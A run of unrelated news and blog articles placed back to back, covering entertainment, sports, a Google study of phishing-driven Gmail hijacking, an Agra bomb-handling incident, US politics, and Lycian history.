Chest bump to Guyism for the storyIn an exclusive interview with Comicbook.com, Agents of S.H.I.E.L.D.’s Clark Gregg responded to Stephen Amell’s recent comment that he would like to do an Arrow and Agents of S.H.I.E.L.D. crossover.
Last week, in a Facebook Q&A in advance of the Arrow and The Flash crossover, Stephen Amell was asked what other show he would like Arrow to do a crossover with. Amell responded, "Agents of S.H.I.E.L.D. Just because....because why not?”
When Comicbook.com asked Gregg if he would be interested in sharing the screen with Amell, here’s what Gregg had to say.
I was really flattered to read that. He’s a fantastic dude and that show is so great! Are you kidding me? I’d love to have a scene with him.
Gregg added, “I have so many fantasies that involve so many crossovers, not only with the DC Universe, but a galaxy far far away! Magneto! Spidey! I got to work with Spidey in animated form. I have my hopes. I hope the lawyers get together like the World Security Council and suddenly peace on Earth will reign.”Image: Google
Google has released the results of a year-long investigation into Gmail account hijacking, which finds that phishing is far riskier for users than data breaches, because of the additional information phishers collect.
Hardly a week goes by without a new data breach being discovered, exposing victims to account hijacking if they used the same username and password on multiple online accounts.
While data breaches are bad news for internet users, Google's study finds that phishing is a much more dangerous threat to its users in terms of account hijacking.
In partnership with the University of California Berkeley, Google pointed its web crawlers at public hacker forums and paste sites to look for potential credential leaks. They also accessed several private hacker forums.
The blackhat search turned up 1.9 billion credentials exposed by data breaches affecting users of MySpace, Adobe, LinkedIn, Dropbox and several dating sites. The vast majority of the credentials found were being traded on private forums.
Despite the huge numbers, only seven percent of credentials exposed in data breaches match the password currently being used by its billion Gmail users, whereas a quarter of 3.8 million credentials exposed in phishing attacks match the current Google password.
The study finds that victims of phishing are 400 times more likely to have their account hijacked than a random Google user, a figure that falls to 10 times for victims of a data breach. The difference is due to the type of information that so-called phishing kits collect.
Phishing kits contain prepackaged fake login pages for popular and valuable sites, such as Gmail, Yahoo, Hotmail, and online banking. They're often uploaded to compromised websites, and automatically email captured credentials to the attacker's account.
Phishing kits enable a higher rate of account hijacking because they capture the same details that Google uses in its risk assessment when users login, such as victim's geolocation, secret questions, phone numbers, and device identifiers.
The researchers find that 83 percent of 10,000 phishing kits collect victims' geolocation, while 18 percent collect phone numbers. By comparison, fewer than 0.1 percent of keyloggers collect phone details and secret questions.
The study finds that 41 percent of phishing kit users are from Nigeria based on the geolocation of the last sign-in to a Gmail account used to receive stolen credentials. The next biggest group is US phishing-kit users, who account for 11 percent.
Interestingly, the researchers found that 72 percent of the phishing kits use a Gmail account to send captured credentials to the attacker. By comparison, only 6.8 percent used Yahoo, the second most popular service for phishing-kit operators. The phishing kits sent were sending 234,887 potentially valid credentials every week.
Gmail users also represent the largest group of phishing victims, accounting for 27 percent of the total in the study. Yahoo phishing victims follow at 12 percent. However, Yahoo and Hotmail users are the largest group of leaked credential victims, both representing 19 percent, followed by Gmail at 12 percent.
They also found most victims of phishing were from the US, whereas most victims of keyloggers were from Brazil.
The researchers note that two-factor authentication can mitigate the threat of phishing, but acknowledges that ease of use is an obstacle to adoption.
Previous and related coverage
Google's new Gmail security: If you're a high-value target, you'll use physical keys
Google will launch a new service to protect politicians and senior executives from sophisticated phishing attacks.
Gmail Docs phishing attack: Google targets devs with tighter web app ID checks
New manual reviews for web applications may to take up to seven days
Gmail fake Docs attack: Now Google tightens OAuth rules to block phishing
Google vows to do more to prevent a repeat of last week's fake Docs phishing attack.by Andy Greene
Geddy Lee isn’t a big fan of social media. “I sometimes look on Twitter to follow baseball transactions,” he says. “But that’s it. I’m also not on Facebook or anything. I see it as an addiction and I have enough addictions. God knows I pick up my phone enough to check baseball scores. On the street, you’re always bumping into people because they’re on their freakin’ phones.”
Q&A: Geddy Lee on Taking a Break From Rush
This refreshingly old-school attitude means that Rush fans don’t have a lot of opportunities to communicate with their hero, so when we sat down with Geddy recently, we decided to solicit questions from Twitter. They poured in by the hundreds (with the hashtag #AskGeddyLee trending nationally). We couldn’t get to them all, but we did what we could - along with a few questions of our own.
You’ve been off the road for over a year now. What have you been up to?
Well, I started by doing a ton of travel with my wife. We love to travel. We’ve taken three trips to Italy and then we went to Galapagos with our daughter. Then we spent six weeks in Australia, hiding from winter and exploring the Southeastern part of the continent. Then we came back for a short while and spent time in London. Around June, we decided to spend the summer in Toronto because my son and his wife had just given birth to their first child, so we decided to summer in Toronto for the first time in over 10 years. It was really fun to be home, enjoy the house and just enjoy being a granddad.
A few months ago, Alex told us about a possible 41st anniversary tour where you’d play rare material.
Well, we haven’t really talked about what we would do if we get over the hump and decide if we’re going to do something. Once that happens, we’ll get into specifics. But I would think if we’re going to do some sort of anniversary thing, it’ll probably be a “trip through the years” kind of thing.
If that does happen, I want to run down some songs you haven’t played in a while and get your reaction to them. Let’s start with “Fly By Night.” That was a hit, but you haven’t played it since 1978.
I don’t know, man. That song scares me.
Because the vocals are so high?
It’s a high song. It’s also a time and a place. I wouldn’t say no, but it wouldn’t be my first choice.
How about “The Necromancer?”
"We are men from Willowdale." Yeah, I don’t know. Same thing. That whole Caress of Steel period is stuck in a strange and funny moment in our history. I really don’t know how that would stand the test of time.
How about the two books of “Cygnus”?
Ah, well, that would be cool. Yeah, that would be super cool.
"Cut To The Chase"?
I like that song. I don’t know if the others guys do, but I like that song.
"Chemistry"?
Oh, great. I wrote that song in my basement when I lived in the country. That was one of the first songs I demoed on my own and then brought to the band. And then Neil did his lyrical magic on it. That’s a cool song. I like that song.
In reading the fan forums, I sense they want to hear more things from the first three or four albums.
If we agree to go out and it is going to be some sort of anniversary thing, then I’m sure we’ll pull some of those old songs out.
I’m going to move on to questions we solicited from Twitter. Why isn’t 2112 21 minutes and 12 seconds long? It’s just a few seconds more to make a great effect.
[Laughs] I think we recorded that before digital clocks and we weren’t paying that much attention to that aspect. It’s like a baseball player I read about once that retired when he had 2,999 hits. In those days, they didn’t keep track and with one more he would have been in the 3,000 club.
How bad does Neil smell after a concert?
I wouldn’t know because he leaves straight onto his bus. I haven’t seen him after a show in years.
Multiple people asked the Pavement question. They want to know, “How did his voice get so high? Does he speak like an ordinary guy?”
Still, after all this time? Well, yes, I speak like a normal guy.
If I could keep the fans at bay, would Geddy come to my yoga or aquafit class?
No.
Did Eddie Van Halen really pour a beer into your tape recorder in 1980? What’s the story with that?
Oh, that’s an interesting memory. We were at a hotel bar in Leicester and one of the guys in our road crew had his beat box playing. And the guys in Van Halen were a little inebriated and we were on our way to getting inebriated. So I think some beer was spilt, yes.A surprising trade has popped up in this hectic NFL week.
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The New Orleans Saints traded former Heisman Trophy winner Reggie Bush to the Miami Dolphins on Wednesday, FOXSports.com has learned.
The deal was contingent upon Bush’s agent Joel Segal working out a new contract with the Dolphins, which was finalized Thursday morning as the RB/punt returner settled on a two-year contract. It is unclear what the Saints are receiving in return.
New Orleans had no intention of keeping Bush this season under the terms of his current contract — an $11.8 million base salary and a cap figure of $16 million.
The Saints part ways with coach Sean Payton’s first draft pick, an injury-plagued player who put up only 2,090 rushing yards since entering the league in 2006. Bush distinguished himself, however, as one of the NFL’s best receiving threats at running back in the past five seasons, catching 294 passes for 2,142 yards and 12 touchdowns.
His 7.3-yards-per-catch average in that span ranks first among running backs, while his 12 touchdown receptions rank second among running backs.on Wednesday
on Tuesday
3 pm
AGRA: In an extremely daring though somewhat foolish show of courage, two cops with the Agra police rushed to a local library after receiving information that a dozen or so country-made bombs had been dumped at the staircase of the building. The duo immediately got down to the task at hand – first looking for a container to fill with water, then dunking the bombs in it to “neutralize” them.Not satisfied with their effort and fearful that the bombs may still come back to life and explode, the two then hunted for sticks and stones around and started beating the bombs to pulp. Finally, they carried the explosives with them on their motorbike to get rid of them at some safe place.The unorthodox – and some officers later said uncalled for -- bomb disposal technique left people who had gathered to watch the spectacle wondering what the cops were up to. When TOI spoke to Agra SSP Rajesh Modak about it, he agreed that his men had not followed “the wisest course of action”, and had endangered their own lives as well as those of others. He, however, added that the motive of the constables was good -- something no one contested.High alert was sounded at the Nagri Pracharini libraryafternoon at aroundwhen local residents stumbled upon a bunch of desi bombs near its staircase. Panic spread in the locality on MG Road as the library was full of readers at that time. There were hundreds of students studying in the primary school nearby, adding to the tension. Police were immediately informed about the danger.It was then that the two policemen – TOI is not naming them at the request of the department – hurried to the spot from the Gokulpura police station. Once there, they first asked the crowd to maintain a decent distance from the bombs. Then they took a stick and turned the bombs around. One of them struck at it with his foot.Not bothering to call the bomb disposal squad (BDS) or inform their seniors, the two men decided to defuse the bombs on their own. On finishing their initial investigation, with foot and stick, the cops asked someone in the crowd to bring a bucket and fill it with water. They had just dunked the bombs in them when an onlooker shouted, “Arre sahib, bomb phat gaya pani me daalne se toh (What if the bombs explode in the water)?” That got the policemen thinking. One of them promptly got a stone and started beating the bombs with it. Satisfied that the explosives had been defused after their thrashing, they finally carried it with them on their bike.The bomb disposal squad was called after all this had happened. And they found that the round objects were indeed minor explosives. “We are assuming that someone placed the bombs at a busy place to disturb peace in the city,” Modak said. “However, the act of the two men was not right. They should have called the bomb disposal squad and alerted seniors about it. Their intention can’t be faulted though. A probe has been ordered in the matter.”Burrfoot Profile Blog Joined July 2012 United States 1176 Posts #1
Decided to write a blog post to commemorate this 'achievement' and the journey it took to get there. I decided to look thru my old screenshots. As some of you may remember, the old inferno was VERY hard with the level of gear available at the time. I was pretty much stuck at the wall of Act 2 for the longest time, with those BEEZ (no, not gold) completely destroying me. Even after tweaking my build and getting this sweet sweet mace from a pot:
Back in the day, IAS + Life on Hit were "end-game" affixes. None of this crit damage shenanigans! Like most Monks at the time I was specced into : Ascension, Sweeping, Ally, Overawe, Keen Eye, and... Lashing Tail Kick! Knockback because we were so squishy was almost necessary. Remember String of Ears, Helm of Command, and Talrasha's Chest? 100% required for Inferno!
So that was my gearset to tackle Inferno past Act 1, and I zerged my way thru Act 2 and got to Act 3. Splat. Those Invulnerable Minions were my bane. My "strategy" was basically to summon my ally, Deadly Reach behind him until he dies, and fall back until dead. Super slow with my 22k dps. So I decided to cash out again, knowing the increased attack speed nerf was incoming and the RMAH had just opened up and knew I had to sell my decent "ias" items before they were worth way less. Mission Successful -
So now that I was completely nerfed from 3 attacks per second to 2; and 28k dps to 20k - I was again stuck at the Act 3 roadblock again. I'd farm the Act 2 bridge elite until he was nerfed:
And then did Crypt of the Ancients & Warrior's Rest for a while way before it was cool to:
Whenever I got an Act 3 capable gear slot, I'd just sell it on the RMAH instead.
But eventually I decided I could find a set of gear that a) wasn't worth anything on the RMAH and b) could beat Inferno.
Here were my stats on that fateful day:
+ Show Spoiler +
And my mediocre gear came in the form of a OWE-centered, life-per-second, and miserable dps
+ Show Spoiler +
And Big D finally fell:
And of course immediately afterwards, I went and sold off anything worthwhile; like the sword!
So after finally 'beating the game', there wasn't much else to do cept level other characters, and I went ahead and leveled every other character to 60, trying WW barb, Wiz, and eventually WD and DH. When 1.04 came out I was working on DH and almost decided to make that my main... until they decided to completely nerf DH tanking proc rates, and I went back to my Monk. So I had to gear and spec my monk back up to Act 3 farming capability and finally was able to drop Deadly Reach for Fists of Thunder.
Now that new legendaries were good, and Act 3 farming was normal, I decided.. man now it's time to look cool! Especially since it was better to group for Uber farming. And thus I ended up using Devil's Tongue and Hallowed Defenders:
.
I farmed mostly on MP5 for keys, then grouped up for MP7/8 and decided I wasn't going to keep rolling the dice after this one:
Then I saw a video posted of a Monk doing a speed Act 3 run sometime around October of last year using a Tailwind build. It was one of the many "I can do Alk runs in X time" type, but actually worth looking into. Shortly after.... I was hooked. This was before spirit regen gear spiked in price, and was able to pick up a very nice Xeph amulet for 2m that I thought was actually overpriced at the time. Sadly I finally parted ways with it a few months back ( + Show Spoiler +
And so, the grind began. Paragon level after level, dropping pieces of MF and the addition of crafting and the fail that was "brawling" until I began approaching the fabled 100. I was down to one MF peice, and had crafted two nice MF amulets (
Around plvl 85, I began not wanting to gain xp, and dropped the ruby from the helm, and hoped to make it to 1.09 before hitting 100.. Unfortunately that didn't happen and now I am 100. If you have made it this far, you must really bored. Thanks for reading!
Bonus: In 100 Paragon levels, I have gotten only 3 double-legendary drops:
Well it finally happened: My monk has finished the grind to Paragon 100 and ready for the next expansion, whenever that is!Decided to write a blog post to commemorate this 'achievement' and |
His advisors want him to talk about policy but he eschews that to talk about the latest attack. Why? Because he knows that people don’t really want to hear policy from him. They want and expect controversy. He doesn’t care what he says because he knows several facts about Americans. First, he knows that we have a short attention span and that means that we rarely spend enough time to process information deeply enough to make it “stick” in our brains. Second, he knows that we have become easily bored and when we are bored we reach for our smartphone to see what Donald said today. I once joked that a smart person would build a new television channel called, “All Trump, All the Time” and now it appears that may be a reality (pun intended).
Third, Donald knows how to talk to Americans at their level. Studies have shown that based on the respected Flesch-Kincaid readability test, the average U.S. voter reads at somewhere between the 4th and 8th grade level. In analyses of speeches by various political figures, statements by those in Congress were found to be between the 10th and 11th grade levels in 2012 (down, interestingly, from the 11.3 grade level in 1996). Donald Trump’s presidential announcement speech was written at the 4th grade level.
In contrast, Hillary Clinton’s announcement speech was written at the 8th grade level. Bernie Sanders’ speech was at the 10th grade level. Analyses of multiple campaign speeches by past presidents showed that George Bush spoke at the 5th grade level followed by Mr. Trump speaking at grade 5.7. In contrast, President Obama’s speeches were written at nearly the 8th grade level as were President Bill Clinton’s. President Reagan’s spoke at nearly the 9th grade level and President Lincoln’s Gettysburg Address was clocked in at the 11th grade level. Trump’s answers to moderator questions at one debate were rated at the 4th grade level.
Why is Donald Trump speaking with such a simplistic vocabulary and using 4th grade language and grammatical sentence structure? Why does he tweet so often using caustic 140 character missives replete with derogatory nicknames? Putting it simply, he is smart! Well, maybe not smart, but certainly people smart. He is well aware that he is speaking to a population that is, for the most part, undereducated. He even said at a campaign rally, “I the poorly educated!” And he does. He aims low and connects often which then distracts our attention from comparing candidates on issues and instead forces our taxed brains to focus on those miniscule “bottom-up” details that he trots out nearly daily.
And the media loves it! A new sound bite each day that grabs the readers and listeners at their own reading level brings viewers. Estimates are the Trump has received nearly $3 billion in free from the media, all of which is centered on his ability to reach the average American.
When Dr. Gazzaley and I decided to write The Distracted Mind we focused on a model of how and why we get so distracted based on peoples’ everyday lives and how those distracted moments negatively impact our ability to learn, to communicate with our loved ones, to pay attention to our world and to survive. We offer valuable suggestions to help people recapture their attentional abilities and enhance their lives. Little did we imagine that the concepts in our book would so quickly be adapted to using distraction for one’s political benefit. We all are acutely aware that we get distracted easily and often. But there are times for allowing those distractions to deter us from deeper thinking and a presidential election should not be one of those times. We need to eschew the Trump tweets, name-calling and short, pithy attacks and spend time using our “top-down” resources to compare candidates on their platforms rather than their “bottom-up” attempts to distract our attention.
Recently, Newt Gingrich complained to Megyn Kelly that the three major networks’ nightly news spent 23 minutes discussing allegations of Trump’s sexual harassment and only 57 seconds on Hillary’s secret speeches. Knock it off, Newt! That is exactly what Donald Trump wants. More face time means more distraction and, in Trump’s mind, more votes. A presidential election is the time for thoughtful discourse and distractions interrupt those efforts and lead to uninformed decisions. Elections should be about policies and distracting our attention from the differences between the candidates on what they will do as president of the United States has no place in our political structure.
[POSTSCRIPT: The Flesch-Kincaid Scale places this blog post at the 9.7th grade level]Muslim Press has conducted an interview with Robert Huzinker. In this interview, Mr Huzinker speaks about Hillary Clinton, the rise of Donald Trump, and US policies in the Middle East.
Here's the full text of the interview:
MP: What’s your take on the leaked emails that show DNC had favored Hillary Clinton?
Robert Hunziker: Democrat insiders have known about, and supported, DNC favoritism for Hillary for over one year. Clearly, the party leadership, i.e., the Super Delegates (unique to the Democratic Party nominating process), made the decision to nominate her in 2015. Having said that, the case should be made to do away with Super Delegates, which are beholden to establishment candidates, not a fair and equitable electioneering process for Democrat voters.
As for the leaked emails, it is disgraceful that the DNC, which holds itself out to be all-inclusive, conspired behind the scenes against a legitimate candidate. Bernie’s delegates have a right to protest and have done so at the convention.
MP: How do you explain the rise of Donald Trump?
Robert Hunziker: Donald Trump represents American frustration, anger, and disappointment with socio-politico-economic neoliberalism policies that increasingly leave the middle class choking on dust.
Because of neoliberal policies like NAFTA, real wage growth and job opportunities have literally crashed for average Americans. People are fed up and looking for scapegoats to vent frustration. The logical scapegoat is establishment politicians, the elites that formulate trade policies that undercut unions and workers rights.
The solution to their frustration is an outsider, a leader who denigrates the establishment. Trump is very good at this. Essentially, Donald Trump is a release valve for decades of pent-up frustration by America’s working/middle class as well as some in the professional class.
When people are frustrated or mad, they look for a “mad voice.” Donald Trump is the epitome of a mad voice. His mannerisms and speaking depict a madman. Thereby, he’s a natural outlet for frustrated/mad people.
Interestingly, Bernie Sanders has a mad message, but not a mean-spirited mad voice like Trump. By all appearances, America’s electorate is out for blood. Trump fits the bill!
The past 40 years has served as a setup for a quasi-fascist candidate like Trump. This setup commenced in the 1980s, which is essentially a reversion to 19th century frontier anti-intellectual, anti-immigrant, rugged individualistic, praise-the-Lord politics. This strain of politics has a long history in America; for example, the great American historian Richard Hofstadter traced anti-intellectualism back to the beginning of America. He discusses evangelical religion and big business in that context.
That old dogma in combination with neoliberalism feasts on destruction of nation-state public welfare, obliterates public welfare programs in favor of privatization for profit, and it is a reversion to feudalism when lords and kings ruled the domain, reinforced by an intellectual strain throughout society that favors a mean-spirited leadership that protects the “domain” from outsiders, e.g., the Trump Wall.
MP: How does his success relate to the spread of anti-establishment sentiments?
Robert Hunziker: Trump’s message (even though he is in the 1%) is all about anti-establishment sentiments. After all, it’s the establishment that set the socio-economic course that only works for the establishment. The “One Percent” is one of the most powerful, telling slogans since liberté, égalité, fraternité for the French Revolution in the 18th century. The French Revolution was entirely 100% anti-establishment.
Back then they killed priests, monarchs, and aristocrats by the thousands, beheaded. They destroyed the establishment. That’s as anti-establishment as one can get.
Today, thus far, no guillotines have been erected and nobody is calling for brutal physical harm of the establishment. They are, however, doing the next sure thing, which is to destroy the establishment’s politics.
Thus and therefore, it is possible that Hillary will lose because of this fervent anti-establishment sentiment throughout America. She is, after all, pure establishment.
Mussolini and Hitler won elections via anti-establishment sentiment. Back then, people felt abused and left out of the system, similar to today. Back then, people looked for a “mad voice.”
MP: Why do Republicans deny climate change?
Robert Hunziker: They deny climate change because (1) it is very profitable for them to deny it, and (2) they hate change, and (3) they fear big governmental programs that upstage private enterprise. Each of these three reasons requires further elaboration.
Regarding the “profitable” aspect, Republicans are the primary recipients of fossil fuel political fund raising. Also, several Republican politicians have made a lot of personal money in fossil fuel investments. Thus, the financial reward in rejection of climate change is considerable.
Secondly, the Republican Party hates change. They have never been progressive, never insightful. Whereas, if they admit to the destruction caused by climate change, it is tantamount to endorsing a lot of change in a very big way to fix the problem.
Because admitting to climate change would be admitting to the destructive capacity of fossil fuels, which, in turn, would be admitting to the necessity for a radical transformation of energy sources to renewables. This, in turn, would eliminate trillions of dollars of fossil fuel infrastructure and eliminate one of the biggest monetary enriching bonanzas of all times, i.e., energy producers, who essentially suck the earth dry of hydrocarbons for free, making tons of money off the back of nature.
Thirdly, if they concede to fossil fuel’s disastrous impact on climate change, the country would be forced to ramp up renewable energy on the scale of a Manhattan Project, which would involve major governmental involvement. Republicans are anti-big government involvement.
MP: Do they deny climate change because they are ignorant or do they protect their interests by denying the facts?
Robert Hunziker: They are not ignorant. They are smart as foxes by confusing the climate change issue, saying nobody can really be sure if anthropogenic climate change is real, after all, they claim the “climate always changes.”
This denial posture by Republicans puts the entire planet at risk of ecosystem collapse because the U.S. is viewed as the leader of the free world, yet America has a horrible climate change containment record. Congress won’t hear of it.
Obviously, they also protect their money interests by denying the facts of climate change. This is very important to them.
MP: How do you explain American interventionism in Middle Eastern countries?
Robert Hunziker: It is a result of American Exceptionalism, which entails several elements, meaning firstly, that the U.S. has a different historical precedent than other countries, liberty, egalitarianism, individualism, and democracy.
And secondly, the U.S. has a unique mission to transform the world into its likeness.
And thirdly,because of the perceived uniqueness, the U.S. is superior to other countries and cultures.
Those are the three primary characteristics of American Exceptionalism.
This American Exceptionalism increasingly manifests via interventionism wherever and whenever America decides its in its national interests.
One reason behind American interventionism is the military industrial complex, which is always looking for trouble, and often times finds it on a whim. After all, this diffuse complex mass-produces weaponry, and whenever nation/states are dedicated to producing weaponry, it comes natural to put weapons to use.
Another reason for American interventionism is the control over natural resources, especially oil, which is the hub of worldwide industry and commerce. America will always fight to control oil.
And finally, America has become the “bully” of the world. In part, this is the result of the end of the Cold War with Russia. And in part, this represents the interests of the Deep State, which is largely apolitical and interconnected by similarity of neocon viewpoints behind the scenes.
The wonderful TV series X-Files (1993-2002) had “The Syndicate,” villains which worked behind the scenes to gain advantage. That TV representation has similarities to the Deep State in America today where decisions affecting the nation are not public decisions, but rather deviously devilishly self-promoted behind the scenes sans moral scruples.
MP: What countries have suffered from American interventionism?
Robert Hunziker: It is likely that all Western democracies have suffered, immeasurably.
America’s interventionism has spawned anger and hatred throughout the Middle East. The result is a splintering of nation/states, a breakdown of ancient cultures, and the rise of terrorism as a final result.
When people no longer have anything to lose, they fight. American interventionism has pressed too many people up against immovable walls whereby they have nowhere to turn but fight back, which spawns terrorism.
All Western Democracies that have participated with America suffer. Look at France.
But, mostly the countries of the Middle East suffer with countless deaths, destroyed infrastructure, loss of innocence, and wandering migrant families, lost souls. These are people losing their history.
MP: What course of action should the US take over the conflicts in the Middle East?
Robert Hunziker: The U.S. should back out completely.
Put the shoe on the other foot: How would the U.S. react if Syria, Lebanon, Israel, Jordan, Saudi Arabia, or the UAE sent troops to America to “police” the American police? After all, American police are killing people in cold blood, captured in videos. This is a telltale sign, an early warning of a failed nation/state, a sign of moral degradation of a society.
When people innocently walking the streets become targets for trigger-happy law enforcement fully trained officers, it is a signal of moral collapse of society, especially if it does not spark outrage and drastic overnight changes in policy by the highest of authorities, the elite, of the nation/state.
Nevertheless, America is not universally outraged about street killings as much as it is universally outraged by loss of opportunities in the workplace and in society at large. This signals a total breakdown of moral values throughout society. It’s when people turn to madmen for answers!
Trump is merely a reflection of pent-up anger and frustration amongst the American public. As such, the upcoming November election may very well be one of the most significant turning points in American political and social history. It likely marks the beginning of the end of American Empire, similar to the end of the Roman Empire as society degenerated, losing its moral compass.
On a fiscal basis, on a moral basis, on a socio-economic basis, on a political basis, America becomes increasingly bankrupt with each election cycle. This is comparable to a slow-moving spiral downward into a pit of despair, the Roman Empire redux.
Robert Hunziker (MA, economic history, DePaul University) is a freelance writer and environmental journalist whose articles have been translated into foreign languages and appeared in over 50 journals, magazines, and sites worldwide, like Z magazine, European Project on Ocean Acidification, Ecosocialism Canada, Climate Himalaya, Counterpunch, Dissident Voice, Comite Valmy, and UK Progressive. He has been interviewed about climate change on Pacifica Radio, KPFK, FM90.7, Indymedia On Air and World View Show/UK.Get the biggest Everton FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Everton away kits have have been have been hit and miss affairs over the years.
For every stylish salmon pink effort such as the 1992/93 Umbro strip there has been a shocker like Le Coq Sportif's 2010/11 neon pink offering.
The Blues 2016/17 Umbro change kit is released this week so ahead of that we took a trip down memory lane.
In terms of colors history decrees that an Everton away shirt should be white and either black or blue.
Those are the most common colour combos the Toffees have used for away strips during the Premier League era.
The ECHO have been through historicalkits.co.uk ’s extensive records to see what traditionally makes an Everton away strip.
The white/blue combo has been used in five of the 24 Premier League seasons to date (not including the upcoming campaign).
White has also been teamed up with black four times, making white the main colour of Everton away tops for nine seasons.
Yellow, or amber, is also a popular main colour for the club’s away shirts and has been used for six seasons. It’s been paired up with blue and black trim over the years.
As ever when it comes to style, football kits are a subjective topic. There may be some who liked Umbro's 2005/06 drab grey number!
But here's some of our favourites and less cherished away kits.
Best
WorstYou think more words than you speak – perhaps because language really does shape the way we navigate the world
THERE I go again, talking to myself. Wherever I am, and whatever I’m doing, words bounce around my head in an incessant chatter. I am not alone in my internal babbling. Measuring the contents of people’s minds is difficult, but it seems that up to 80 per cent of our mental experiences are verbal. Indeed, the extent of our interior monologue may vastly exceed the number of words we speak out loud. “On average, 70 per cent of our total verbal experience is in our head,” estimates Lera Boroditsky of Stanford University in California. The sheer volume of unspoken words would suggest that language is more than just a tool for communicating with others. But what else could it be for?
One answer to that question is emerging: language helps us to think and perceive the world. Boroditsky and other researchers are finding that words bring a smorgasbord of benefits to human cognition, from abstract thinking to sensory perception. These effects may even explain why language evolved in the first place.
The idea that language guides human thinking and shapes perception has a long and turbulent history. Philosophers have toyed with it for centuries, but its reputation became tarnished before modern psychologists could begin putting flesh on its bones.
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This fall from grace can be traced to the demise of a controversial hypothesis known as “linguistic relativity”, put forward in the first half of the last century by Edward …Detroit Pistons general manager Joe Dumars met with Atlanta Hawks forward Josh Smith at 12:01 a.m. ET with a plan to make the free agent forward a substantial four-year offer, league sources told Yahoo! Sports.
Atlanta has shown far more interest in working sign-and-trade arrangements for Smith than re-signing him to a long-term deal, league sources said.
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Along with re-signing point guard Jose Calderon, Smith is the Pistons' top priority on the market, league sources told Y! Sports.
The Pistons planned to make a preemptive strike on Smith, understanding that he's a secondary priority for several teams awaiting the resolution of the Dwight Howard derby, sources said.
Smith, 27, is one of the free-agent stars on the market, a versatile 6-foot-9 forward that Dumars would add to a front line that includes Greg Monroe and Andre Drummond. Smith averaged 17.5 points, 8.4 rebounds and 4.2 assists for the Hawks last season.
Dumars also will meet with forward Andre Iguodala on Monday in Los Angeles, but it's doubtful the Pistons have the willingness to outbid Denver to sign him. Denver GM Tim Connelly and coach Brian Shaw plan to meet with Iguodala in Los Angeles on Monday and present him with a contract extension, league sources told Y! Sports.
More NBA free agent news from Yahoo! Sports
• Top 10 free agents to watch
• Complete list of NBA free agents
• Free-agent news and notes
• Teams line up to court FA Dwight Howard
• Dwight Howard competes for video game championship on eve of free agencyNiloofar Rahmani became the first female fixed-wing military pilot in Afghanistan when she was 21 years old, but now at age 23 she faces death threats from the Taliban and even her extended family. After the end of the Taliban’s rule, the country aimed to increase the number of roles for women outside the home and Rahmani was a symbol of that effort. Now, two years later, she’s been threatened by a faction of the Pakistani Taliban, the Tehrik-e-Taliban Swat, and relatives are claiming that she has brought shame on the family. Despite investment by the U.S. to promote gender equality, there are still severe restrictions of women’s rights as the attempts to advance women’s rights have clashed with traditional Afghan culture. Not only do Taliban leaders not agree with Rahmani being a woman working outside the home, they also target her because she has specifically chosen to be in the military and “Islam has instructed women not to work with the Americans or British,” as one of the letters from the Taliban informed her. Rahmani has been asked to quit by the Afghan Air Force, but pressure from the U.S.-led coalition helped her kept the job. Her family has been threatened and even attacked and they are effectively living in hiding, moving every few months. Rahmani said, “I really wanted to be in the military. I really wanted to be in the Air Force … But I can’t continue like this.”
Read the full story at The Wall Street Journal.Lycia, a country associated with legends and traditions already since Homeric times, extends along the south east coast of Asia Minor, east of Rhodes and very close to it. We first encounter the Lycians in the “Iliad”, on the side of the Trojans. Their leaders were Glaucus and Sarpedon. According to myth, the latter was brother to Minos who had been banished from Crete to Lycia. The Lycians were also supposed to have built the Cyclopean Walls at Mycenae and Tiryns in Argolis, while, according to myth, it was believed that the Cyclops had come from Lycia (note 1). The Lycians are also linked to the myth of Bellerοphon whose name was given to the separate municipality (δήμος) of Xanthou, where his tomb is also situated. Specifically, it is thought that the myth of Bellerophon was transferred from Lycia to both Mycenean Argolis and Corinth, without however being associated with Pegasus (note 2).
Lycia was always connected with Greece and its world and was examined by scholars as an integral part of it. According to bibliographic sources, the specific region was presented as a peculiar “contact zone”, a sphere of interaction and a link between two cultures, those of the Greeks and the peoples of the Near East. We learn about this process of interaction between the above, both from references to Lycians found in Greek and Roman authors (note 3) and from other sources. Among other things, ancient commentators remark about traces of an old enmity between Rhodians and Lycians on account of the duel of Sarpedon and Tlepolemus. The Lycian resistance against the Greeks was helped by the difficult access the latter had to the formers’ country, as it was closed from the sea and surrounded by steep cliffs. For a long time the Greeks could not infiltrate the heart of the country, which is why Lycian tribes continued to live on their land, in accordance with their ancient customs. Herodotus confirms the antiquity of these tribes which preserved a conservative way of life through time and he notes the survival of a matriarchal model in the Lycians’ social organization.
As we mentioned above, the first reference to Lycians in ancient Greek letters is found in Homer’s “Iliad”. The Lycians’ expeditionary force appeared as the strongest among the allies and was assembled to aid the besieged Trojans (note 4). There is an interesting excerpt in the Homeric epic that refers to the episode of the duel between Sarpedon king of Lycia and Tlepolemus son of Hercules (note 5) and leader of the Dorian settlers in Rhodes (note 6). According to Homer in the “Iliad” (note 7) as well as other written sources available to us, the colonization of Rhodes by the Dorians was realized under the leadership of Tlepolemus, with the three Dorian tribes arriving on the island being united politically and as a military force under the guidance of this worthy leader. There is no information on conflict with local populations. Strong remains of Mycenaean Rhodes were quickly transferred to the Dorians’ geometric art (note 8).
Homer also writes (note 9): “…but Tlepolemus, son of Heracles, a valiant man and tall, was roused by resistless fate against godlike Sarpedon. And when they were come near as they advanced one against the other, the son and grandson of Zeus the cloud gatherer, then Tlepolemus was first to speak, saying: ‘Sarpedon, councellor of the Lycians, why must thou be skulking here, that are a man unskilled in battle? They speak but a lie that say thou art sprung from Zeus that beareth the aegis, seeing thou art inferior far to those warriors that were sprung from Zeus in the days of men of old. Of other sort, men say, was mighty Heracles, my father, staunch in fight, the lionhearted, who on a time came hither by reason of the mares of Laomedon with but six ships and a scantier host, yet sacked the city of Ilios and made waste her streets.But thine is a coward’s heart and thy people are minishing. In no wise methinks shall thy coming from Lycia prove a defence to the men of Troy, though thou be never so strong, but thou shalt be vanquished by my hand and pass the gates of Hades’… And Tlepolemus lifted on high his ashen spear and the long spears sped from the hands of both at one moment. Sarpedon smote him full upon the neck and the grievous point passed clean through and down upon his eyes came the darkness of night and enfolded him. And Tlepolemus smote Sarpedon upon the left thigh with his long spear and the point sped through furiously and grazed the bone; howbeit his father as yet warded from him destruction….But not for great-hearted Odysseus was it ordained to slay with the sharp bronze the valiant son of Zeus. Whereby Athene turned his mind toward the host of the Lycians.”
The duel episode has a strong emotional quality. The words of the son of Heracles are full of mockery, distain and insults and it is obvious he seeks to destroy his opponent. Tlepolemus is the first to speak and says:
